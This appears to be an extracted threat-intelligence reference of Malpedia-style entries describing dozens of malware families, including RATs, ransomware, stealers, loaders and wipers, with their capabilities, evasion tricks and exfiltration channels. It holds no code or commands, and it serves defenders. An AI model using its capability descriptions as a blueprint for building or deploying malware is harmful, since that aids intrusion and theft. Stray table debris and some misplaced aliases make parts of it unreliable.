According to Securonix, this malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email. Based on Fireeye intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID.

The tag is: `misp-galaxy:malpedia="MOUSEISLAND"`

Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.

7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

8Base

The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with “name-and-shame” techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.

ACBackdoor (Windows)

A Linux backdoor that was apparently ported to Windows. This entry represents the Windows version. It appears the Linux version was written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: misp-galaxy:malpedia="ACBackdoor (Windows)"

ACBackdoor (Windows) is also known as:

Table 2403. Table References
ACEHASH

ACEHASH is described by FireEye as combined credential harvester that consists of two components, a loader and encrypted/compressed payload. To execute, a password is necessary (e.g. 9839D7F1A0) and the individual modules are addressed with parameters (-m, -w, -h).

The tag is: `misp-galaxy:malpedia="ACEHASH"`

ACEHASH is also known as:

Agent Tesla

A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.

The tag is: misp-galaxy:malpedia="Agent Tesla"

Agent Tesla is also known as:

AgfSpy

The agfSpy backdoor retrieves configuration and commands from its C&C server. These commands allow the backdoor to execute shell commands and send the execution results back to the server. It also enumerates directories and can list, upload, download, and execute files, among other functions. The capabilities of agfSpy are very similar to dneSpy, except each backdoor uses a different C&C server and various formats in message exchanges.

Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine's hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

Alphabet Ransomware

The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.

The virus includes a screenlocking function which locks the user's screen and prohibits any interaction with the computer.
Alphabet Ransomware is also known as:

### AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware’s author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker’s encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user’s computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

### AlphaNC

**Alreay**

Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.

It uses either RC4 or DES for encryption of its configuration, which is stored in the registry.

It sends detailed information about the victim’s environment, like computer name, Windows version, system locale, and network configuration.

It supports almost 25 commands that include operations on the victim’s filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker’s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.

It comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).

Alreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.

Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called “tasks”) for all or specifically targeted computers compromised by the malware.

ArdaMax

According to f-secure, Ardamax is a commercial keylogger program that can be installed onto the system from the product's website. When run, the program can capture a range of user activities, such as keystrokes typed, instant messenger chat logs, web browser activity and even screenshots.
of the active desktop.

This program can be configured to a complete stealth mode, with password protection, to avoid user detection.

The information gathered is stored in an encrypted log file, which is only viewable using the built-in Log Viewer. The log file can be sent to an external party through e-mail, via a local area network (LAN) or by upload to an FTP server (in either HTML or encrypted format).

AresLoader

AresLoader is a new malware "downloader" that has been advertised on some Russian language Dark Web forums “RAMP and "XSS" by a threat actor called "DarkBLUP". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”

The loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:

1. Written in C/C++
2. Supports 64-bit payloads
3. Makes it look like malware spawned by another process
4. Prevents non-Microsoft signed binaries from being injected into malware
5. Hides suspicious imported Windows APIs
6. Leverages anti-analysis techniques to avoid reverse engineering

Furthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.

The tag is: misp-galaxy:malpedia="AresLoader"

ArguePatch

During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called "ArguePatch" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe). ArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.

Attor

Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.

Attor's core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware's key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability.

The most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the
IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim’s screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.

Aurora Stealer

First advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in April 2022, Aurora Stealer is a Golang-based information stealer with downloading and remote access capabilities. The malware targets data from multiple browsers, cryptocurrency wallets, local systems, and acts as a loader. During execution, the malware runs several commands through WMIC to collect basic host information, snaps a desktop image, and exfiltrates data to the C2 server within a single base64-encoded JSON file.

AvosLocker

AvosLocker is a ransomware-as-a-service (RaaS) gang that first appeared in mid-2021. It has since become notorious for its attacks targeting critical infrastructure in the United States, including the sectors of financial services, critical manufacturing, and government facilities.

In March 2022, the FBI and US Treasury Department issued a warning about the attacks.

The tag is: misp-galaxy:malpedia="AvosLocker"

Babadeda

According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers’ analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low
detection rate by anti-virus engines.

The tag is: `misp-galaxy:malpedia="Babadeda"`

BalkanDoor

According to ESET, BalkanDoor is a simple backdoor with a small number of commands (download and execute a file, create a remote shell, take a screenshot). It can be used to automate tasks on the compromised computer or to automatically control several affected computers at once. We have seen six versions of the backdoor, with a range of supported commands, evolve since 2016.

</tbody>
</table>
BalkanRAT

The goal of BalkanRAT which is a more complex part of the malicious Balkan-toolset (cf. BalkanDoor) is to deploy and leverage legitimate commercial software for remote administration. The malware has several additional components to help load, install and conceal the existence of the remote desktop software. A single long-term campaign involving BalkanRAT has been active at least from January 2016 and targeted accounting departments of organizations in Croatia, Serbia, Montenegro, and Bosnia and Herzegovina (considered that the contents of the emails, included links and decoy PDFs all were involving taxes). It was legitimately signed and installed by an exploit of the WinRAR ACE vulnerability (CVE-2018-20250).

**Bandook**

Bandook malware is a remote access trojan (RAT) first seen in 2007 and has been active for several years. Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.

**BanPolMex RAT**

BanPolMex is a remote access trojan that uses TCP for communication.

It uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.
It sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale, system metrics, manufacturer, and network configuration.

It supports almost 30 commands that include operations on the victim's filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker's C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PV EW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.

It has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).

BanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.

BATLOADER

According to PCrisk, BATLOADER is part of the infection chain where it is used to perform the initial compromise. This malware is used to execute payloads like Ursnif. Our team has discovered BATLOADER after executing installers for legitimate software (such as Zoom, TeamViewer Visual Studio) bundled with this malware. We have found those installers on compromised websites.

</tbody>
</table>
According to Mandiant, BEATDROP is a downloader written in C that uses Atlassian’s project management service Trello for C&C. BEATDROP uses Trello to store victim information and retrieve AES-encrypted shellcode payloads to be executed. BEATDROP then injects and executes downloaded payloads into a suspended process. Upon execution, BEATDROP maps a copy of ntdll.dll into memory to execute shellcode in its own process. The sample then creates a suspended thread with RtlCreateUserThread the thread points to NtCreateFile. The sample changes execution to shellcode and resumes the thread. The shellcode payload is retrieved from Trello and is targeted per victim. Once the payload has been retrieved, it is deleted from Trello.

BetaBot

Cybereason concludes that Betabot is a sophisticated infostealer malware that's evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim's machine and steal sensitive information.

The tag is: misp-galaxy:malpedia="BetaBot"

BetaBot is also known as:

- Neurevt

BHunt

BHunt collects the crypto wallets of its victims. The malware consists of several functions/modules, e.g. a reporting module that reports the presence of crypto wallets on the target computers to the C2 server. It searches for many different cryptocurrencies (e.g. Atomic, Bitcoin, Electrum, Ethereum, Exodus, Jaxx and Litecoin). The Blackjack module is used to steal wallets, Sweet_Bonanza steals victims' browser passwords. There are also modules like the Golden7 or the Chaos_crew module.

The tag is: `misp-galaxy:malpedia="BHunt"`

BHunt is also known as:
BianLian (Windows)

BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization’s files and leaking them online if the ransom is not paid on time. BianLian gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file.

The tag is: `misp-galaxy:malpedia="BianLian (Windows)"

BianLian (Windows) is also known as:

**BI_D Ransomware**

Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows
system processes and kills shadow copies.

The tag is: *misp-galaxy:malpedia=*BI_D Ransomware*

**BitRAT**

According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes
it irresistible to cybercriminals and helps the malicious payload spread.

Furthermore, each buyer’s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.

BitRAT’s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.

**BlackCat (Windows)**

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is
commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

BlackEnergy

BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.

Version 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to - download and execute a remote file; - execute a local file on the infected computer; - update the bot and its plugins;

The Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.

In 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included: - operations with victim’s filesystem - spreading with a parasitic infector - spying features like keylogging, screenshots or a robust password stealer - Team viewer and a simple pseudo “remote desktop” - listing Windows accounts and scanning network - destroying the system

Typical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.
On 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.

**BlackMatter (Windows)**

According to PCrisk, BlackMatter is a piece of malicious software categorized as ransomware. It operates by encrypting data for the purpose of making ransom demands for the decryption tools. In other words, files affected by BlackMatter are rendered inaccessible, and victims are asked to pay to recover access to their data.

During the encryption process, files are appended with an extension consisting of a random character string. For example, a file initially named "1.jpg" would appear as something similar to "1.jpg.k5RO9fVOl". After this process is complete, the ransomware changes the desktop wallpaper and created a ransom note - "[random_string].README.txt" (e.g., k5RO9fVOl.README.txt).

- ZetaNile

### BLINDINGCAN

BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S). It uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. It sends information about the victim's environment, like computer name, IP, Windows product name and processor name. It supports around 30 commands that include operations on the victim's filesystem, basic process management, command line execution, file exfiltration, configuration update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. It uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc. It contains specific RTTI symbols like `.AVCHTTP_Protocol@@`, `.AVCFileRW@` or `.AVCSinSocket@`. BLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.

The tag is: `misp-galaxy:malpedia="BLINDINGCAN"`

BLINDINGCAN is also known as:

- AIRDRY
- ZetaNile
BLINDTOAD

BLINDTOAD is 64-bit Service DLL that loads an encrypted file from disk and executes it in memory.

**BookCodes RAT**

BookCodes RAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim's filesystem, basic process management and the
download and execution of additional tools from the attacker’s arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646.

BookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.

The tag is: `misp-galaxy:malpedia="BookCodes RAT"`

BookCodes RAT is also known as:

- BookCodesTea

BOOSTWRITE

FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

CaddyWiper

CaddyWiper is another destructive malware believed to be deployed to target Ukraine.

CaddyWiper wipes all files under C:\Users and all also all files under available drives from D: to Z: by overwriting the data with NULL value. If the target file is greater than 0xA0000 bytes in size (10MB), it will only wipe the first 0xA0000 bytes.

It also wipes disk partitions from \\.\PHYSICALDRIVE9 to \\.\PHYSICALDRIVE0 by overwriting the first 0x780 bytes with NULL.

The tag is: misp-galaxy:malpedia="CaddyWiper"

Cardinal RAT

Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.

The tag is: misp-galaxy:malpedia="Cardinal RAT"

Cardinal RAT is also known as:

CargoBay

CargoBay is a newer malware family which was first observed in 2022 and is notable for being written in the Rust language. CargoBay is likely based on source code taken from ‘Black Hat Rust’ GitHub project (https://github.com/skerkour/black-hat-rust). CargoBay is usually distributed via phishing emails, and the malware binaries may be disguised as legitimate applications. Upon execution, the malware starts by performing environmental checks such as checking its execution path and the configured system language. If the tests pass, then the malware proceeds to gather basic system information and register with its C2 via HTTP from which it receives JSON-formatted jobs to carry out. CargoBay can execute commands via the command line and downloading additional malware binaries.

The tag is: misp-galaxy:malpedia="CargoBay"

CargoBay is also known as:

Chaos (Windows)

In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a “Ryuk .Net Ransomware Builder” even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.

The tag is: `misp-galaxy:malpedia="Chaos (Windows)"`

Chaos (Windows) is also known as:

- FakeRyuk
- RyukJoke
- Yashma

Chaperone

According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.

**CHEESETRAY**

CHEESETRAY is a sophisticated proxy-aware backdoor that can operate in both active and passive mode depending on the passed command-line parameters. The backdoor is capable of enumerating files and processes, enumerating drivers, enumerating remote desktop sessions, uploading and downloading files, creating and terminating processes, deleting files, creating a reverse shell, acting as a proxy server, and hijacking processes among its other functionality. The backdoor communicates with its C&C server using a custom binary protocol over TCP with port specified as a command-line parameter.

The tag is: `misp-galaxy:malpedia="CHEESETRAY"

CHEESETRAY is also known as:

- CROWDEDFLOUNDER
Chernolocker

Chernolocker is a ransomware that encrypts a victim’s files by using AES-256 and it asks for BTC ransom. Different versions are classified by the attacker’s email address which changes over time.

Clambling

Clambling was discovered by Trend Micro and TalentJump. It is a custom malware used by an actor they refer to as DRBControl, which targets gambling and betting companies in Southeast Asia. One version of Clambling uses Dropbox as C&C channel to hide its communication.

CLEANTOAD

CLEANTOAD is a disruption tool that will delete file system artifacts, including those related to BLINDTOAD, and will run after a date obtained from a configuration file. The malware injects shellcode into notepad.exe and it overwrites and deletes files, modifies registry keys, deletes services, and clears Windows event logs.

ClipBanker

The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential information. The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the ClipBanker unique is its ability to record various banking actions of the user and manipulate them for its own benefit. The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users to download malicious content.

The tag is: `misp-galaxy:malpedia="ClipBanker"`

Clop (Windows)

Clop is a ransomware which uses the .clop extension after having encrypted the victim's files. Another unique characteristic belonging with Clop is in the string: "Dont Worry C|0P" included into the ransom notes. It is a variant of CryptoMix ransomware, but it additionally attempts to disable Windows Defender and to remove the Microsoft Security Essentials in order to avoid user space detection.

CloudDuke

F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: misp-galaxy:malpedia="Cobalt Strike"

Cobalt Strike is also known as:

- Agentemis
- BEACON
- CobaltStrike
- cobeacon

CobInt

CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager. It's CRM mailslot module was also observed being downloaded by ISFB.

Coinminer

Coinminer is an unwanted malicious software which uses the victim’s computational power (CPU and RAM mostly) to mine for coins (for example Monero or Zcash). The malware achieves persistence by adding one of the opensource miners on startup without the victim’s consensus. Most sophisticated coin miners use timer settings or cap the CPU usage in order to remain stealthy.

Cold$eal

Cold$eal is a packer for encrypting (sealing) malware. It contains some AV-evasion techniques as well as some sandbox-detection. It was developed by $@dok (aka Sadok aka Coldseal). It was available as a cryptor service under the url coldseal.us and was later sold as a toolkit consisting of the cryptor and a custom made cryptostub including a FuD guarantee backed by free update to the cryptostub. The payload was encrypted using RC4 and added to the cryptostub as a resource. The encryption key itself was stored inside the resource as well. Upon start the cryptostub would extract the key, decrypt the payload and perform a selfinjection using the now decrypted payload. Note: The packed sample provided contains some harmless payload, while the unpacked sample is the bare cryptostub without a payload.

The tag is: misp-galaxy:malpedia="Cold$eal"

Cold$eal is also known as:

- ColdSeal

ColdStealer

ColdStealer is a relatively new malicious program that was discovered in 2022. Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. When the infostealer collects information that will be stolen, it saves the information in the ZIP form instead of files in the memory. Doing so will allow the malware to bypass detection as there are no traces of files and execution. The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to the hardcoded command and control (C2) server.

Colibri Loader

According to cloudsek, Colibri Loader is a form of malware designed to facilitate the installation of additional malware types on an already compromised system. This loader employs various techniques to evade detection, such as excluding the Import Address Table (IAT) and utilizing encrypted strings to complicate analysis. Similar to other loader malware, Colibri can be utilized to deploy information-stealing malware, potentially leading to significant loss of sensitive data. As a result, users should exercise caution when encountering unfamiliar files on their systems.

ComeBacker

ComeBacker was found in a backdoored Visual Studio project that was used to target security researchers in Q4 2020 and early 2021.

It is an HTTP(S) downloader.

It uses the AES CBC cipher implemented through the OpenSSL’s EVP interface for decryption of its configuration, and also for encryption and decryption of the client-server communication.

The parameter names in HTTP POST requests of the client are generated randomly. As the initial connection, the client exchanges the keys with the server via the Diffie–Hellman key agreement protocol for the elliptic curve secp521r1. The client generates a random 32-bytes long private key, and the server responds with its public key in a buffer starting with the wide character “0”.

1114
Next, the client sends the current local time, and the server responds with a buffer containing multiple values separated with the pipe symbol. The typical values are the encrypted payload, the export to execute, and the MD5 hash of the decrypted DLL to verify the authenticity of the payload.

There are variants of ComeBacker without statically linked OpenSSL. In that case, the key exchange is omitted and AES CBC is replaced with HC-256.

The tag is: `misp-galaxy:malpedia="ComeBacker"`

ComeBacker is also known as:

**ComLook**

ComLook is a malicious plugin for the mail client "The Bat!", written in C++ and compiled with MSVC 10.0. It implements malicious commands like PutFile, GetFile, SetConfig, GetConfig, and Command. It contains hard-coded email addresses and other information, indicating a target in Azerbaijan. It was first uploaded to VirusTotal on January 12, 2022, and is associated with the APT group Turla. It appears to be a targeted deployment.

Conti (Windows)

Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.

Contopee

FireEye described this malware as a proxy-aware backdoor that communicates using a custom-encrypted binary protocol. It may use the registry to store optional configuration data. The backdoor has been observed to support 26 commands that include directory traversal, file system manipulation, data archival and transmission, and command execution.

CopperStealer

According to PCRIsk, CopperStealer, also known as Mingloa, is a malicious program designed to steal sensitive/personal information. It also has the capability to cause chain infections (i.e., download/install additional malware).

Significant activity of CopperStealer has been observed in Brazil, India, Indonesia, Pakistan, and the Philippines. At the time of research, this malware had been noted being spread via websites offering illegal activation tools ("cracks") for licensed software products.

**CoViper**

PCRisk notes that CoViper is yet another Coronavirus/COVID-19-themed malware infection, most likely proliferated as a file related to the pandemic. It operates by rewriting the system Master Boot
Record (MBR). It does not delete the original, but rather creates a backup and replaces it with a custom MBR.

Typically, malicious software that modifies MBRs do so to prevent the Operating System (OS) from being booted (i.e., started). It also displays a screen-encompassing message, often containing a ransom message - this disables user access to the device.

The tag is: *misp-galaxy:malpedia=*"CoViper"

CoViper is also known as:

**COZYDUKE**

CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around a core backdoor component. This component can be instructed by the C&C server to download and execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array of functionality. Known CozyDuke modules include: • Command execution module for executing arbitrary Windows Command Prompt commands • Password stealer module • NT LAN Manager (NTLM) hash stealer module • System information gathering module • Screenshot module

CrimsonIAS

According to ThreatConnect, CrimsonIAS is a Delphi-written backdoor dating back to at least 2017. It enables operators to run command line tools, exfiltrate files, and upload files to the infected machine. CrimsonIAS is notable as it listens for incoming connections only; making it different from typical Windows backdoors that beacons out.

The tag is: `misp-galaxy:malpedia="CrimsonIAS"`

CyberGate

According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to the victim's system. Attackers can remotely connect to the compromised system from anywhere around the world. The Malware author generally uses this program to steal private information like passwords, files, etc. It might also be used to install malicious software on the compromised systems.

Dacls (Windows)

